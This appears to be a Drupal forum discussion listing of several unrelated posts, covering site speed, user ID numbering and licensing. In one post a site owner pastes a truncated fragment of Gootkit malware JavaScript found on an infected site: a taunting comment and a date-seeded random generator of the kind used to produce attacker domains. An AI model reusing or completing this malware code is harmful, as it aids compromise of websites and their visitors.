General discussion

Hi,
We've been creating these tutorials to help people out that are new to Drupal or a particular module. I hope you learn something new! Thanks

Wanted to know if you guys had any tips on faster loading speeds from drupal sites… I gets a bit heavy at times.

2 years and 16 weeks ago my users all had IDs like 2555 or 3000, which I assume go up sequentially .

But around this time, one user suddenly got an ID of 1000000, and now every user since is numbered 1000001, 1000002, etc. (the last normal user was 3566)

I just smile and wonder why that user was so special :) Oh Drupal :D

Hi

I'm thinking about porting a hopefully better discussion system to Drupal.
I wonder if there is any interest in me doing this.

((Is this the right place to ask? If not, perhaps you'd like to suggest another
forum/mailing list?))

Here is a demo of the discussion system:

A few days ago I saw an emal come through from google that one of my sites was blacklisted because of a malware infection.

Checking, I found this was indeed correct and I did my best to remove the infected file and upgraded my Drupal core install from 6.16 to the latest version 6.26 and upgraded my theme and optional modules.

A subsequent scan with http://sitecheck.sucuri.net and http://urlquery.net/ showed it clear.

But 2 days later and it's infected again!

Have I done something wrong? The sucuri.net report shows the ISP is using Plesk 8. I briefly read that Plesk 8 is not secure and vulnerable.

Here is a copy of what was marked as a "malicious script"
//Congratulations! you have successfully extracted the gootkit payload
//this means i must work hardly :(

function nextRandomNumber() {
var hi = this.seed / this.Q;
var lo = this.seed % this.Q;
var test = this.A * lo - this.R * hi;
if (test > 0) {
this.seed = test;
} else {
this.seed = test + this.M;
}
return (this.seed * this.oneOverM);
}

function RandomNumberGenerator(unix) {
var d = new Date(unix * 1000);
var s = Math.ceil(d.getHours() / 6);
this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
this.A = 48271;
this.M = 2147483647;
this.Q = this.M / this.A;

Hi, im rather new to Drupal and this might be a rather trivial question but none the less. Assuming that i use Drupal and multiple modules to build a website, am i allowed to charge for it? do i need to provide reference/links? (i know it open source but i just want to be on the safe side, on knowing what i can and can not do).Thanks.
